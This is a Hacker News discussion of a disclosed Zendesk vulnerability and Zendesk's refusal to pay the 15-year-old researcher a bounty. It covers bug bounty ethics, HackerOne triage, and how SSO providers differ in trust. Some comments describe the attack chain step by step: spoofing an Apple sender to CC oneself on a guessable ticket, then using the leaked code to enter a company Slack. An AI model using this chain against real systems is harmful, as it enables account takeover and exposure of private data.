| - Bing shows it on the second page.
|
| - Brave shows it in the middle of the first page.
|
| - DDG doesn't show it.
|
| - Yahoo shows it on page 3
|
| - Yandex doesn't show it
| paulddraper wrote:
| > wouldn't be fooled
|
| So no harm, no foul, right?
| shepherdjerred wrote:
| This has strong Nathan for You vibes
| Jerrrrrrry wrote:
| Google Sliding - Prince Andrew kinda blew the "subtly" of it
| with his banger about pizza-human trafficking.
| MichaelZuo wrote:
| That is pretty bizarre.
|
| Edit: Why don't they seem to value their credibility?
| mtlynch wrote:
| I think that's pretty funny and not particularly malevolent.
| It's a fake alt rock band called Zendesk. It's obviously
| tongue-in-cheek and not going to deceive anyone.
|
| Also, anytime I search for "X alternative" the results are all
| AI-generated garbage anyway, so I'd welcome something quirky
| and original like this in my results.
| BhavdeepSethi wrote:
| The entire keyword buying SEM operates that way too right? At
| least they call it out as Sponsored results though.
| achairapart wrote:
| Also noted that the song (or "lyrics" at least) has "Open
| Source" in its title so they can position for the "Zendesk Open
| Source Alternative" long tail.
|
| That's evil!
| andai wrote:
| Black hat SEO.
| hackernewds wrote:
| > they have toured the world, headlining major festivals and
| sharing the stage with legendary acts like Sweater Head,
| DynoPlax, and The Banana Nuts. Now, Zendesk Alternative has
| begun a new chapter in their storied career. They have joined
| forces with Zendesk(r) to record an anthemic concept album of
| epic proportions. On the surface, it's a collection of songs
| about customer service. Underneath, it's about so much more.
| Finally, Zendesk Alternative and Zendesk(r) the customer
| service software company are together at last.
|
| that is hilarious, but also the most non punk rock thing I've
| ever read. if Apple did it, every one here would be fawning
| over how genius of a move it were
| appendix-rock wrote:
| No they wouldn't. You just dislike Apple.
| dewey wrote:
| That sounds more like an April Fool's Day joke than something
| malicious. These were still fun sometimes back in the days
| (2016).
|
| I wouldn't read too much into this because one unmaintained old
| website will not going to make or break the SEO game of others.
| josu wrote:
| I have a similar conspiracy theory for DDG, the rapper. I used
| to go to DuckDuckGo by typing "ddg" in Google. Now, it's all
| mentions to DDG the rapper.
| tiffanyh wrote:
| https://duck.com works.
|
| Ironically, the domain was given to DDG from Google.
| therein wrote:
| Here is a gift, let's make your brand less searchable.
| codetrotter wrote:
| https://ddg.co works as well.
| jeanlucas wrote:
| > It might make you nervous, but this is our purpose.
|
| I love the self report :^)
| junto wrote:
| I help corporates evaluate and buy software. Having an
| ineffective bug bounty program, especially one that rewards black
| market activity on a terms & conditions technicality like this,
| is enough for me to put a black mark on your software services.
|
| I don't care if you're the only company in the market, I'll still
| blackball you for this in my recommendations.
|
| Zendesk should pay up, apologize and correct their bug bounty
| program. After doing so, they should kindly ask the finder to add
| an update to this post, because otherwise it will follow them
| around like dogshit under their shoe.
| exceptione wrote:
| Yes, I think bounties in this class and with this impact should
| at least be six figures.
|
| If a company loses 120 million a year to security bounties,
| they will take into account the cost of scrumming/rapid widget
| delivery.
| moritonal wrote:
| Would love to see the parts of the market where you've marked
| off every current option, given each would represent new
| business opportunities.
| xyst wrote:
| Probably any SK company. Bounties are awful and only paid out
| to SK citizens. Everyone else gets a pat on the back for
| being a sucker.
| yieldcrv wrote:
| HackerOne's mediator dropped the ball here
|
| They should absolutely inform a client company of a perceived
| threat, when they agree on the threat
|
| Most of the person's post and responses here are about
| Zendesk's issue, but Zendesk was never informed
|
| for a better PR response, I think now Zendesk could reward this
| after realizing it wouldnt have been disclosed first, _and_
| admonish HackerOne for not informing them and the current
| policies there
| richbell wrote:
| > Most of the person's post and responses here are about
| Zendesk's issue, but Zendesk was never informed
|
| It's not clear whether they were informed. The mediator's
| email says "after consultations with *the team*", which is
| likely referring to Zendesk's security team.
| hmottestad wrote:
| It anyways took Zendesk several months to fix the issue and
| they also didn't acknowledge the author with what should be
| a very sizeable bounty. It's not every day that someone
| tries to warn you about a massive security hole and then
| goes out of their way to warn your clients for you because
| you ignored them.
| daghamm wrote:
| This is pretty common on H1, probably due to the amount of
| crap they receive.
|
| If you are a new user expect your first couple reports to be
| butchered. It seems to me only reports from well known
| hackers gets carefully analysed.
| klabb3 wrote:
| I swear I've seen this vuln years ago. I thought it was already
| well known that attacker controlled input for email-bridged
| ticketing systems means attackers can access at least one
| @company.com email.
|
| I thought this was mainly mitigated by invalidating the
| assumption that "only authorized employees can control a company
| email" - it used to be common 5-10 years ago to verify "that
| you're an employee" that way, but I just assumed that kind of
| stopped in favor of whatever SSO/SAML stuff that became popular
| with enterprise.
|
| Is this the same thing? Or a variation?
| mmsc wrote:
| It's a common thing:
| https://www.google.com/search?q=slack+google+saml+vulnerabil...
| RicoElectrico wrote:
| Based on experience of my friend I am inclined to believe that
| Zendesk is full of shit. She's had bad experience with their
| Polish site which she described as cultish employer.
| gavingmiller wrote:
| The piece the author is missing, and why zendesk likely ignored
| this is impact, and it's something I continually see submissions
| lacking. As a researcher, if you can't demonstrate impact of your
| vulnerability, then it looks like just another bug. A public
| program like zendesk is going to be swamped with reports, and
| they're using hackerone triagers to augment that volume. The
| triage system reads through a lot of reports - without clear
| impact, lots of vulnerabilities look like "just another bug".
| Notice that Zendesk took notice once mondev was able to escalate
| to an ATO[1]. That's impact, and that gets noticed!
|
| [1]
| https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b...
| patcon wrote:
| Yes. But respectfully (residual frustration at zendesk might
| make me curt here) if their security triage team can't see how
| dangerous it is for an attacker to get access to an arbitrary
| thread on a their CLIENT's corporate email chains (in this
| world of email logins and SSO), then they have a big lapse in
| security culture, no?
|
| Yes, the researcher could have tee'd himself up better, but
| this says way more about zendesk than it does about the
| 15-year-old researcher.
| 23B1 wrote:
| "If you won't illustrate the impact of our mistake, we aren't
| obligated to listen to you" is peak CYA
| gavingmiller wrote:
| Not even close to the point I was making: If you want to get
| taken seriously, write to audience.
| Aachen wrote:
| The audience of a security contact point (be that Hackerone
| or security@') is a technical person
|
| We add impact demonstrations to a few findings per pentest
| report because our audience is broader: the nontechnical
| people who decide to allocate the money need to understand
| why this is useful and that the devs/sysadmins need to get
| enough time to do things right (developers and sysadmins
| are often sufficiently skilled, but are under delivery
| pressure). A sufficiently technical team, when the bug is
| adequately explained, doesn't need a functional exploit to
| see it's real/impactful or not
| 23B1 wrote:
| "My neighbor said he saw smoke coming from my house, but he
| never said anything about fire!"
| ec109685 wrote:
| The researcher showed how they could hop onto any Zendesk
| support ticket thread with zero authentication, so that should
| have been enough given Zendesk was exposing customer data via
| that attack path.
|
| Clearly Zendesk needs to change things so that the email
| address that is created for a ticket isn't guessable.
| XCabbage wrote:
| Unauthorized read access to private emails you were never
| legitimately CCed on already _is_ impact. It should not be
| necessary to come up with a further exploit daisy chained on
| top of that in order to be taken seriously. (Otherwise why stop
| at Slack access? Why is that automatically "impact" if email
| access isn't?)
| Aachen wrote:
| Exploit or no, the bug and potential impact are the same. I
| personally find it a waste of time to sink evenings into an
| exploit when they're going to fix the bug anyway if I simply
| tell them about the problem. They also know the system better
| than I do and can probably find a bigger impact anyway
|
| Of course, this is only a good strategy if you're just wanting
| to do a good deed and not counting on getting more than a thank
| you note, but Zendesk or Hackerone (whoever you want to blame
| here) didn't even accept the bug in the first place. That's the
| problem here, not the omission of an exploit chain
| tptacek wrote:
| I think this is (descriptively) correct, but it's a difficult
| point to make in a message board argument because of hindsight
| bias.
| gavingmiller wrote:
| It's a good callout, shouldn't have editorialized like that.
| oarla wrote:
| The worse part:"We kindly request you keep this report between
| you and Zendesk". After being notified of a problem on their
| side, them ignoring it, now they want to keep things hush hush?
| That's exactly what the author did in the first place, but they
| chose to brush it aside. That itself is highly unprofessional.
| With such an attitude, I'm not surprised that they did not pay
| out the bounty.
| op00to wrote:
| "I will consider not disclosing if you compensate me for my
| time."
| jjmarr wrote:
| You can't ask for money in exchange for not revealing a bug.
| That's blackmail which is illegal and ethically dubious.
|
| White hat hackers do not require companies to pay them in
| exchange for not revealing a bug---the reveal of a bug only
| happens if a company _doesn 't fix_ that bug. Companies can
| be jerks and refuse to pay anything. That doesn't give you
| the right to blackmail them---you and other security
| researchers can just refuse to help them in the future.
|
| A refusal to fix the vulnerability is what happened in the
| original blogpost, so it was fair game for release since the
| company doesn't care.
|
| Hackers that don't care about ethics or legality won't bother
| blackmailing companies with vulnerabilities. They'll sell or
| use the vulnerability to steal more important data, and
| blackmail companies for millions of dollars in crypto.
| op00to wrote:
| Gotcha. The moment you attach a monetary condition it can
| be seen as extortion. In that case I believe the only
| responsible thing to do is disclose using customary,
| reasonable waiting periods.
| tptacek wrote:
| I don't think this is true. I'm not a lawyer and this is
| not legal advice, but I think it's hard to fit the elements
| of an extortion statute to a "threat" to disclose the
| results of technical research work you yourself did.
| Moreover, if a vendor is working with HackerOne, they've
| already implicitly consented to their norm of non-
| disclosure in exchange for payment. Further, in something
| like 15 years of bounty programs, I haven't heard of any
| cases like this having been filed --- and bounty
| researchers threaten to publish all the time.
|
| I also disagree that there's anything ethically dubious
| about it.
| daghamm wrote:
| The correct procedure when they fuck up and close the report is
| to ask the report to be made public. Had he done this, this
| would have been a non issue.
|
| The reason people don't do this is because they think they have
| something that can be modified into another bug. Which is
| exactly what happened here.
| kachapopopow wrote:
| And this is how whitehats get turned into blackhats and just
| choose to use this information to perform social engineering or
| exploit devices.
| kachapopopow wrote:
| I've seen this go from -2 points to 2 points, now back to 1.
| Interesting how people are so divided on this when people I've
| brought up this topic to all agree that good people often get
| taken advantage off especially in cases like this.
| yapyap wrote:
| Welp, they're basically begging people to sell 0 days to a 3
| letter agency // out of state groups (NSO, etc)
|
| Come on, honor your bug bounty. Especially when it can bite you
| in the ass hard enough to plummet stock prices if a bug of this
| caliber is exploited in the companies you serve
| zx8080 wrote:
| "Too big to pay."
|
| Nothing changes for them even if they ignore one report,
| especially from an unknown researcher.
|
| It exposes pretty sad state of the industry. Who said enterprise?
| mmsc wrote:
| From what I can tell, the vulnerability wasn't even fixed: they
| just.. changed their spam filter? Whatever that means.
|
| So for this to work still, you need to bypass a spam filter.
|
| They should just force DMARC and SPF like Google has done, and
| say "your fault if you misconfigure". Also default-off for the CC
| thing would be a good idea, too, with a warning of what could
| happen if they turn it on. Alternatively making a non-guessable
| id for the email.
| vitus wrote:
| Hey, now you have to bypass two spam filters, and also email
| verification from Apple is now marked as likely-spam. Which
| addresses the very specific Slack infiltration attack, but
| doesn't address the underlying issue.
| layer8 wrote:
| Requiring their customers to implement SPF and DMARC as a hard
| technical requirement is probably bad for business. And as
| mentioned in TFA, they do note issues regarding SPF/DMARC in
| their policy.
| madisp wrote:
| I think in this case it's the customers of their customers,
| e.g. people sending emails to support@acme-corp.com. In that
| light requiring all emails coming into support@acme-corp.com
| to have SPF and DMARC is bad for business indeed, not only
| for Zendesk but probably also for the fictional ACME corp.
|
| EDIT: they absolutley should not use an autoincrementing int
| as a "support-chain token" though, that's a workaround they
| could easily do.
| layer8 wrote:
| I'm not clear on that. If the support requestor doesn't
| need to be from the company, then I don't understand why
| the email sender has to be spoofed in the first place.
| ec109685 wrote:
| The attack requires getting yourself CC'd on a support
| ticket. In this case to show how bad that is, it was a
| support ticket that had an oauth ticket to log into slack
| as "support@company.com".
| layer8 wrote:
| From the description, sending an email to
| support@company.com creates a support ticket, to which
| you can later latch on by adding a Cc. My understandig is
| that, at least in order to get the full history of a
| ticket, including any other emails sent to
| support-$ticket-ID@company.com, the primary sender needs
| to be from the company as well. Otherwise, why would you
| need the Cc hack?
| qilo wrote:
| My understanding is that, the original sender (spoofed
| apple in this case) can send the reply to
| support-$ticket-$id@ with CC field to grant full access
| to the thread for CC'ed email.
| nodamage wrote:
| The email sender needs to be spoofed in order to add the
| CC.
|
| 1. Apple sends a legitimate email with a verification
| code from appleid@id.apple.com to support@company.com,
| creating a ticket in Zendesk.
|
| 2. The attacker then sends an email to support-$ticket-
| ID@company.com from appleid@id.apple.com (spoofed),
| attaching their own email address in the CC field.
|
| 3. Since the attacker is now CC'ed they can read the
| entire history of the ticket including the legitimate
| email Apple sent in (1) containing the verification code.
|
| 4. Now that the attacker has verified ownership of the
| Apple ID with the email address support@company.com they
| can use that Apple ID to login to any service that grants
| domain-based access via Sign in With Apple, such as
| Slack.
| madisp wrote:
| oh, I think you're right! my bad.
| nodamage wrote:
| > EDIT: they absolutley should not use an autoincrementing
| int as a "support-chain token" though, that's a workaround
| they could easily do.
|
| I checked my email archives and some (but not all) of the
| emails I've received from Zendesk have arbitrary
| alphanumeric ids in the Reply-To header instead of
| integers. Seems to depend on the company, perhaps this is a
| configuration issue?
| tasn wrote:
| This is clever hack and a reminder of how a chain of smaller
| security issues (guessable ticket IDs, email spoofing,
| automatically adding emails to tickets, etc.) can lead to larger
| ones.
|
| Zendesk deserve a lot of flack here, especially after they
| already realized this is real. However, just to empathize a bit:
| the amount of spam SPF, DKIM, DMARC "security" reports anyone
| running a service gets is absolutely insane. So it's very easy to
| accidentally misclassify what this reporter originally discovered
| as that by accident.
| twoodfin wrote:
| Slack seems to be getting off too easy here. The security--as
| implemented by Fortune 500 customers??--of an org-wide security
| domain (i.e. what everyone in an org can see) depends on whether
| any of the supported OAuth providers can be tricked into
| provisioning an account with @targetorg.com?
|
| This architecture makes 0 sense to me. Even if an org has totally
| outsourced its identity and auth management to Google (is this
| possible?), presumably that would include controls over how new
| @targetorg.com identities are created on the Google end.
|
| No F500 companies are using Apple as an identity provider since
| they definitely don't sell such services. So why would an F500
| company configure Slack to allow Apple OAuth & introduce this
| vulnerability?
| tryauuum wrote:
| I'm not sure (maybe it's the case only with email auth, not
| oauth). But there's a setting on slack to not automatically
| allow people with your company email address. So the tools are
| there to stop the attack
| autarch wrote:
| I'm pretty sure you can configure your corporate Slack to only
| allow authentication providers you choose. So if you have a
| corporate SSO you can just allow that.
| kbolino wrote:
| If you're using Google for identity and authentication, you can
| definitely control who has an active account in your domain.
| There can be some lag time before disabling or removing someone
| truly disables all their downstream accesses, but that's
| largely outside Google's control. The only way to trick your
| way into getting a corporate domain email address is to
| socially engineer a domain admin.
|
| Tangentially, this does raise one of my big issues with using
| OAuth2 for single-sign-on though, which is that it really
| doesn't address the third-party authorization problem well. Ok,
| you're bob@example.com, Google has verified that, and
| example.com is our domain, so we're letting you into our app
| Foobar. Now what? The scopes you requested were for Google APIs
| only and have nothing to do with Foobar really. So now we need
| to implement an authorization system in Foobar that decides
| what bob@example.com can actually do. This part, and how to do
| it right, gets glossed over (at best!) by discussions on
| OAuth2. It also gets glossed over by product and security when
| they want things "SSO-enabled", which means development time
| doesn't get budgeted for it. Even just using groups to control
| coarse access levels requires integration with provider-
| specific APIs. OAuth2 is great for identity and authentication,
| but far too little attention has been paid to doing
| authorization right.
| pkaeding wrote:
| You can also create a non-email Google account as
| Bob+external@example.com, as long as you can get email sent
| to bob@example.com (ie, while you are employed by Example,
| Inc). Then, you leave your job, but still have a google
| account associated with an example.com email. Depending on
| how the app checks the login response, they might mistakenly
| assume you are part of the example.com org.
| Kwpolska wrote:
| > Personally, I've always found it surprising that these massive
| companies, worth billions, rely on third-party tools like Zendesk
| instead of building their own in-house ticketing systems.
|
| Do you find it surprising that they use Microsoft Office too?
| Paying someone else to handle things like this is cheaper than
| paying developers and hosting a service like this.
| npsomaratna wrote:
| I'd give the author a break-he's just 15, after all. I was far
| less savvy at his age.
| zharknado wrote:
| Agreed, I smiled a this line. Good reminder that you don't
| have to be super experienced to have big insights and impact.
|
| And also that being brilliant doesn't magically correlate
| with being knowledgeable.
|
| https://xkcd.com/1053
| aftbit wrote:
| Wait... it looks like Zendesk only fixed the issue of Apple
| account verification emails being added to tickets, not actually
| the underlying issue?
|
| >In addition to this, we also implemented filters to
| automatically suspend the following classes of emails: User
| verification emails sent by Apple based on the Reply-To and
| Message-Id header values Non-transactional emails from from
| googleworkspace-noreply@google.com Over the coming months, we
| will continue to look into opportunities to strengthen our Sender
| Authentication functionality and provide customers with more
| gradual and advanced security controls over the types of emails
| that get suspended or rejected.
|
| So is it still possible to hijack anyone's support tickets using
| the default configuration of Zendesk if you just happen to know
| their email and ticket ID?
| vitus wrote:
| Yeah. Zendesk only put a bandaid in place to prevent this
| particular attack vector for the Slack infiltration attack, and
| did nothing for the initially reported issue.
| layer8 wrote:
| Only the customer domain owners can fix the underlying issue,
| which is a missing SPF/DMARC configuration.
| cjbprime wrote:
| That doesn't sound right. Aren't these @zendesk.com
| addresses?
| layer8 wrote:
| The spoofed addresses were support@company.com, is my
| understanding.
|
| Zendesk is very well aware of SPF/DMARC, from their support
| pages.
| Thorrez wrote:
| The spoofed address was appleid@id.apple.com .
| support+id@company.com was the to address, not the from
| address.
|
| https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5
| e2b...
| Thorrez wrote:
| No, it's spoofed appleid@id.apple.com addresses. But you
| are correct that it's not customer SPF/DMARC configuration
| that's the problem.
| Aachen wrote:
| They could make the ticket IDs unpredictable so you can't
| subscribe yourself to any existing ticket by sending it an
| email
| eatbots wrote:
| Reported this exact bug to Zendesk, Apple, and Slack in June
| 2024, both through HackerOne and by escalating directly to engs
| or PMs at each company.
|
| I doubt we were the first. That is presumably the reason they
| failed to pay out.
|
| The real issue is that non-directory SSO options like Sign in
| with Apple (SIWA) have been incorrectly implemented almost
| everywhere, including by Slack and other large companies we
| alerted in June.
|
| Non-directory SSO should not have equal trust vs. directory SSO.
| If you have a Google account and use Google SSO, Google can
| attest that you control that account. Same with Okta and Okta
| SSO.
|
| SIWA, GitHub Auth, etc are not doing this. They rely on a weaker
| proof, usually just control of email at a single point in time.
|
| SSO providers are not fungible, even if the email address is the
| same. You need to take this into account when designing your
| trust model. Most services do not.
| cxcorp wrote:
| This is very important to keep in mind when implementing OAuth
| authentication! Not every SSO provider is the same. Even if the
| SSO provider tells you that the user's email is X, they might
| not even have confirmed that email address! Don't trust it and
| confirm the email yourself!
| hmottestad wrote:
| And remember to add a random unique id to the reply-to email,
| otherwise you've fallen into the same trap.
| harrisonjackson wrote:
| Ah, that makes a lot of sense. This is a foot gun that you can
| run into even with an auth provider like Auth0 or Clerk let
| alone rolling your own.
|
| Directory SSO: These are systems like Google Workspace or Okta,
| which maintain a central directory of users and their access
| rights.
|
| Non-directory SSO: These are services like "Sign in with Apple"
| (SIWA) or GitHub authentication, which don't maintain such a
| directory.
| ec109685 wrote:
| Not only is Apple non-directory, they are non-discretionary as
| well, so foisted on services and handled poorly as a result.
| bushido wrote:
| Out of curiosity, do you know of open source projects or any
| resources that someone less familiar with SSO can use/read to
| properly implement SSO?
| siddthesquid wrote:
| Something like Keycloak?
| tptacek wrote:
| I think they're asking for advice on how to more reliably
| implement the RP side.
| to11mtm wrote:
| Not the _best_ suggestion but haven 't seen others give any
| yet...
|
| IdentityServer4 [0] is no longer maintained [1] but had SSO
| support and the source is still on github.
|
| [0] - https://identityserver4.readthedocs.io/en/latest/
|
| [1] - They had to go commercial to stay afloat, there wasn't
| enough contributions from community/etc. That said it's
| pretty cheap for what it does in the .NET space.
| austinkhale wrote:
| Presumably one of the PMs you're referring to has posted this
| article for additional information. Feels like they're doubling
| down on their initial position.
|
| https://support.zendesk.com/hc/en-us/articles/8187090244506-...
| namaria wrote:
| The amount of software that could have been some spreadsheets and
| an email chain and companies pay enormous amounts of money for
| and create glaring vulnerabilities in their systems is a big
| reason why I'll never understand or thrive in a corporate
| setting.
| xyst wrote:
| Zendesk is a piece of shit company for not paying out this
| researcher.
|
| H1 should restrict ZD from their platform.
| ericbarrett wrote:
| This was a great writeup, really clear and engagingly written,
| about an interesting and subtle bug. If the author hadn't
| mentioned they were 15 I would have assumed it was from a
| seasoned security professional.
|
| To Daniel/hackermondev: whatever you're doing, keep it up!
| kmoser wrote:
| Agreed, if I was hiring and the author applied, I would base
| most of my decision on the quality of this article alone. Just
| goes to show how engaging communication beats whiteboard
| interviews, at least for me.
| mgaunard wrote:
| In my experience, telling people you've found a vulnerability in
| their system is met with denial or lack of care, and when you
| demonstrate the exploit for them to take it seriously, they sue
| you.
|
| You're better off not bothering contacting them.
| harrisonjackson wrote:
| Crazy that a company/product that depends so much on email as an
| interface would have policies to dismiss a bug like this.
|
| It is challenging for Zendesk to enforce or fix DKIM, SPF, and
| DMARC issues across all client domains so better to just ignore
| it :grimace:
| pheatherlite wrote:
| And I thought I was once a clever 15 year old... this was
| brilliant. Sharp kid.
|
| Though his pondering of 'why do companies use third party support
| systems instead of rolling their own' gave his age away :)
| wglass wrote:
| Seems to me this is just as much a problem with Slack and its
| configuration as with Zendesk.
| 29athrowaway wrote:
| Why would a security researcher risk doing a significant amount
| of free work for Zendesk in the future?
|
| Why do they even have a bounty program if they do this?
| ec109685 wrote:
| While obviously Zendesk leaving such a huge hole was the main
| reason for this exploit (you should obviously fail closed when
| email signals suggest it's an unauthenticated address), a
| contributing factor is that Apple forced themselves to be added
| as an SSO provider.
|
| So the hacks put in place to deal with Google SSO hadn't been put
| in place for Apple's.
|
| Also, what Fortune 500 company is leaving slack's email based
| login feature enabled? Why wouldn't they all be using a corporate
| SSO solution tied to their company's slack directory?
| yieldcrv wrote:
| > "out of scope," said no attacker ever
|
| I like this kid
| failedrequest wrote:
| Zendesk handles customer data and says its a great customer
| support platform.
|
| The irony is that they have the worst support and one of the
| worst response times to issues reported. You will find many
| experiences on LinkedIn reporting this.
| bronco21016 wrote:
| You probably didn't speak with a human since Zendesk only allows
| you to speak to a bot unless you give them several
| thousand/month.
| natch wrote:
| Unfortunately the headline makes it look like Zendesk paid a
| bounty, when they did not. Clearly they have a doofus in charge
| of security.
| lifeisstillgood wrote:
| I have been thinking about it for a while, but I no longer think
| email is worth the trouble. I am flooded with spam, the
| vulnerabilities are everywhere and locking them down near
| impossible.
| chias wrote:
| The dumb thing is that this "out of scope" thing is 100% a Hacker
| One failure, and exactly the kind of thing I've grown to expect
| from these triage teams.
|
| "SPF, DKIM, and DMARC issues" is absolutely and positively
| intended to mean "we don't care if we are missing these headers
| on our domains", in part because this is 99.9% of drive-by beg
| bounties (if you are tired of getting "I HAVE FOUND A SERIOUS
| SECURITY ISSUE IN YOUR WEBSITE" cc'ing security@, legal@,
| privacy@, and your CEO on a monthly cadence, just set up a DKIM
| record :P)
|
| Yes, this is technically a bug which is in the space of SPF,
| DKIM, and/or DMARC. But this is absolutely NOT WHAT THE EXCLUSION
| IS FOR. Hacker One triage teams should know better, and it's
| frankly embarrassing that they don't. And it's frankly mortifying
| that their mediation team also didn't pick up on this.
|
| But it checks out.
|
| This is one of the reasons I will not use Hacker One ever.
| Bugcrowd is slightly better. Intigriti has (so far) been pretty
| good. I'm not affiliated with any of them, just have been a
| customer of all three.
| josephh wrote:
| A more sensible thing that should've been done is to tokenize the
| case ID so that you can't just guess it with a numerical range.
| Also important that you don't leak your key business metrics (#
| of support cases over time).
| atum47 wrote:
| I once found a neat trick to highjack Facebook accounts; after
| MSN message died a lot of hotmail accounts were left to die also
| but a lot of people created their Facebook account using the
| @hotmail address. I tipped them about that they basically said F
| you.
| brainzap wrote:
| when I tested zendesk for potential ticket system I felt that
| this is half abandoned, there are probably more security issues
| to find
| nodamage wrote:
| In case it's not clear these are the two separate
| vulnerabilities:
|
| 1. Zendesk allows you to add a CC to any existing support ticket
| by sending a (spoofed) reply from the original requestor's email
| address to that ticket's Reply-To address and including a CC in
| the email.
|
| In some circumstances the Reply-To address is based on an auto-
| incrementing integer so it can be guessed. (Although this may not
| alway be the case: my email archives show some emails from
| Zendesk using the integer and other emails using a random
| alphanumeric string. It seems to vary by company so it might be
| some sort of configuration setting?)
|
| 2. Slack allows third-party domain-wide logins via Sign in with
| Apple without additional verification that the email belongs to a
| real person. Here the author of the article pretends to be
| support@company.com to Slack and Slack lets them into the
| company.com channel, despite the fact that support@company.com
| does not actually represent a real user and is only intended to
| be a receiving email address that forwards into Zendesk. (This
| sounds more like a configuration problem than anything else
| though.)
| Rugu16 wrote:
| Its all because someone's ego was hurt that their security was
| breached by 15 year old kid. Sometimes the simplest explanation
| is the right one.
| Eumenes wrote:
| Zendesk paid me $500 4 years after I submitted a vulnerability to
| their bounty program on hackerone. It was a shock. There were
| default settings indexing internal docs/knowledgebase info to
| search engines.
| wslh wrote:
| This is where despite the bug bounty rules someone at Zendesk (a
| CXO?) should take action and pay.
|
| I would add that HackerOne could also take an action and
| influence in the positive outcome and not being just a MiM.
| tptacek wrote:
| If you want to understand the dynamics of what happened here, a
| very important detail is that the bounty hunter's report
| implicated DKIM and SPF, and _no bug bounty program in the world
| takes DKIM reports seriously_. DKIM is the _archetypical_ beg
| bounty. You could find DKIM RCE and HackerOne would still round
| file your report.
| heraldgeezer wrote:
| >Personally, I've always found it surprising that these massive
| companies, worth billions, rely on third-party tools like Zendesk
| instead of building their own in-house ticketing systems.
|
| Ah, yes, why do laymen always think this?
|
| I mean, I get it, Krupp and mining towns used to be a thing, so
| it is possible.
|
| But every big company should build a ticketing system? Why not an
| email solution, OS, network routers too?
| matrix12 wrote:
| I blame @otterly for bringing in the ex yahoo people who locked
| devs out environments. Causing them to add backdoors for
| debugging.
| heraldgeezer wrote:
| Would this work with Jira, Servicenow, Spiceworks etc...? :x hehe
| ZendeskTeam wrote:
| Our team at Zendesk has posted some more details about this bug
| here: https://support.zendesk.com/hc/en-
| us/articles/8187090244506-...
| bredren wrote:
| > We also want to address the Bug Bounty program associated
| with this case. Although the researcher did initially submit
| the vulnerability through our established process, they
| violated key ethical principles by directly contacting third
| parties about their report prior to remediation.
|
| What was the planned response for addressing the vulnerability
| reported through the Bug Bounty program, and how did the plan
| change after the researcher escalated the issue directly to
| Zendesk before remediation was completed?
| whatthefk wrote:
| 1. "While this specific issue has been resolved", that was a
| bug, not an issue.
|
| 2. "they violated key ethical principles by directly contacting
| third parties about their report prior to remediation", what is
| a violation of ethical principles is to know about a security
| failure in your application and ignore it, leaving customers at
| risk, can't wait for some law to pass so people who behave like
| that face consequences.
|
| 3. "We have no evidence that this vulnerability was exploited
| by a bad actor.", tldr, it don't fixed it until some vendor
| dropped us, because before that happened, it was cheaper to
| ignore it.
| austinkhale wrote:
| Wild response. It appears you did not learn a single lesson
| through this process.
| rendall wrote:
| > _...they violated key ethical principles by directly
| contacting third parties about their report prior to
| remediation_
|
| According to the researcher, they only contacted 3rd parties
| after Zendesk rejected the disclosure as out of scope.
|
| If this timeline is incorrect, Zendesk should immediately
| correct the record because it looks very bad for Zendesk.
| Almost libelous.
|
| No, that it affected Slack was a side-effect of the original
| bug, and not a new, previously undisclosed bug. Zendesk fixed
| the _original_ bug, and only after it was exploited to enter
| private Slack channels.
| jazz9k wrote:
| I've been making money finding bugs for H1 and have made >100k.
|
| I finally stopped when two large companies have stopped
| communicating with me over the last year (all bugs have been
| triaged on the H1 side).
|
| They owe me a total of around 30k. H1 can't do anything about it.
| It seems there is no actual contract in place to protect
| researchers.
| hmottestad wrote:
| Would love to hear more! I'm always eager to add companies to
| my blacklist.
| tgsovlerkhgsel wrote:
| Same experience where I reported a bug, the company ghosted me,
| and H1 did not even allow disclosure through their platform.
|
| I generally refuse to go through platforms now (also because I
| really hate being subject to the psychological pressure of a
| "social credit system", even though I understand why the
| platforms do it), so if your company doesn't have an
| alternative reporting form, or refuses bug bounty payouts when
| a valid issue was reported directly through them instead of
| through a platform (hello, Backblaze!), I'm not doing free
| labor for you and you will likely hear about the bug when
| either someone else finds it or I include it in a public write-
| up (if it's a bug affecting multiple companies).
| rendall wrote:
| I wonder what would happen if researchers _en masse_ were to
| boycott a particular platform? Disclose to the companies
| directly and explain they won 't work with X and why. Treat
| any attempt by the company to kick the disclosure back to
| platform X as a non-response.
| farmeroy wrote:
| I've really enjoyed all reading about all the vulnerability blogs
| posted over the last month! And from so many young researchers,
| it's super inspiring
| joshdavham wrote:
| Slightly off topic, but why does it always seem to be teenagers
| who are the most talented at finding exploits?
| tgsovlerkhgsel wrote:
| Curiosity and near endless time to dedicate to it make for a
| powerful combination.
___________________________________________________________________
(page generated 2024-10-12 23:00 UTC)